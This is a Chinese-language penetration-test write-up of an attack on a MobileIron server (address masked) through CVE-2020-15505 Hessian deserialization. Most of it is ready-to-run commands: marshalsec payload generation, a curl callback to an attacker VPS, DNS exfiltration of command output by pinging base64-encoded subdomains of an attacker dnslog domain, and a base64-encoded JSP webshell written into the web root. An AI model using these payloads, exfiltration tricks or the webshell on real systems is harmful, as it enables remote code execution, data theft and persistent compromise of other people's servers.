0x00 前言

记得是2020年的一个金融项目,因为只有dnslog出网,然后尝试找路径写shell的渗透过程。
因为肯定是不能泄露项目的真实地址的所以地址统一修改为 https://mi.test.com。
保护我自己。

0x01 入口

通过信息收集,找到了https://mi.test.com,是一个MobileIron。
吐槽: 其实就是fofa翻翻翻翻翻翻到的
image-20210119090348533.png

想起去年orange通过挖掘该系统漏洞获取了facebook权限。在GitHub上也有POC披露,于是便尝试使用该漏洞攻击。

POC下载地址: https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2020-15505

0x02 出网测试

对于不清楚内网环境的情况都需要进行fuzz,可以先尝试curl查看是否出网。

  1. # 生成访问vps的命令:
  2. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" "curl http://111.111.111.111/mdmpoc" > exp.ser
  3. # 执行命令:
  4. python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

发现并不能访问我的vps,于是只能通过dnslog查看内网环境。
我们可以通过ping命令将信息带回。需要注意的是,最后面的双引号要改为单引号,否则反引号需要”\“转义

0x03 dnslog出 whoami

  1. # 生成访问dnslog的并且带出whoami的命令
  2. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'ping `whoami`.mydnslog.com' > exp.ser
  3. # 执行命令:
  4. python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

接着执行exp,在dnslog成功返回了用户名:
image-20210119091334860.png
首先我们知道在带入ping中是无法执行带参数的命令的,也无法返回多行的字符。

只能逐个命令进行fuzz,例如返回uname -a、ifconfig命令字符串

0x04 数据返回

通过本地fuzz后发现,特殊字符可能会影响命令执行,如+/等,各个系统可能会有差异
image-20210119092312742.png

0x04.1 第一层-编码

为了解决该问题,我们得将命令执行的结果进行base64编码返回:

  1. ifconfig|base64

0x04.2 第二层-管道

当然这还不行,还要解决多行,可以使用head命令指定第几行:

  1. ifconfig|head -n 1|base64

image-20210119092610538.png

最基础的命令已经解决了,可是我们无法在反引号中执行。
如 ping ifconfig|head -n 1|base64.mydnslog.com

0x04.3 第三层-变量

linux可以使用变量将结果再调用,整理命令后:

  1. 'whoami123=`ifconfig|head -n 1` && ping $whoami123.mydnslog.com'

0x04.4 第四层-字符限制

dnslog每级域名最长是63,总长不超过253。我们并不能决定命令执行的结果长度,只能截取<63长度的结果。20个字符串base64编码后刚好不会超过长度64。

  1. 'whoami123=`ifconfig|head -n 1|cut -b 1-20|base64` && $whoami123.mydnslog.com'

0x05 测试命令执行

了解基本命令之后,我们便能轻松对服务器进行命令执行。

一顿操作之后,获取内网地址在15-35个字符串之间:

  1. # 生成命令
  2. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'whoami123=`ifconfig|head -n 2|cut -b 15-35|base64` && ping $whoami123.mydnslog.com' > exp.ser
  3. # 执行命令:
  4. python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

image-20210119093718665.png
image-20210119093733743.png

0x06 查找web目录

查找web目录,就拿首页的login.jsp进行扫描,使用2>/dev/null隐藏错误输出:

  1. # 生成命令
  2. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'whoami123=`find / -name login.jsp 2>/dev/null |head -n 1|cut -b 1-20|base64` && ping $$whoami123.mydnslog.com' > exp.ser
  3. # 执行命令:
  4. python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

image-20210119094137710.png

还不够,继续截取:

  1. # 生成命令
  2. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'whoami123=`find / -name login.jsp 2>/dev/null |head -n 1|cut -b 21-40|base64` && ping $$whoami123.mydnslog.com' > exp.ser
  3. # 执行命令:
  4. python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

image-20210119094237433.png

拼接之后就能得到:

  1. # 最终获得的绝对路径
  2. /mi/tomcat2/webapps/mics/login.jsp
  3. /mi/tomcat/webapps/mifs/user/login.jsp

如果字符过长的话就一行一行显示吧,只需要改head -n,比较麻烦:

  1. head -n 1 | tail -n 1

0x07 写webshell

使用base64编码进行写shell:

  1. # 生成命令
  2. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'echo PCVpZigia2siLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImkiKSkuZ2V0SW5wdXRTdHJlYW0oKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaW50IGEgPSAtMTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsyMDQ4MDBdOyAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjxwcmU+Iik7ICANCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKChhPWluLnJlYWQoYikpIT0tMSl7ICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgfSAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjwvcHJlPiIpO30gJT4gOTk4OQ== | base64 -d > mi/tomcat/webapps/mifs/1.jsp
  3. # 执行命令:
  4. python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

写了img目录、mifs目录、css目录都会跳转至登陆界面,得找一个能够不会跳转的界面。

这种情况的话建议打开web登录然后右键源代码看一下。
执行命令太麻烦了,反正绝对路径已经知道了,自己猜测然后拼接一下更省力。

image-20210119100058569.png

经过fuzz之后,发现scripts目录可以解析,上传shell之后不能执行。但是访问的时候确实解析了,抓包看一下,POST请求居然要认证。
image-20210119100306749.png

那就用GET型的马,进行上shell:

  1. 生成命令:
  2. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'echo PCVpZigia2siLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImkiKSkuZ2V0SW5wdXRTdHJlYW0oKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaW50IGEgPSAtMTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsyMDQ4MDBdOyAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjxwcmU+Iik7ICANCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKChhPWluLnJlYWQoYikpIT0tMSl7ICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgfSAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjwvcHJlPiIpO30gJT4gOTk4OQ== | base64 -d > mi/tomcat/webapps/mifs/scripts/6.jsp' > exp.ser
  3. # 执行命令:
  4. python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

image.png

0x08 总结

细一点,总会有好事发生的 ~( ̄▽ ̄~)(~ ̄▽ ̄)~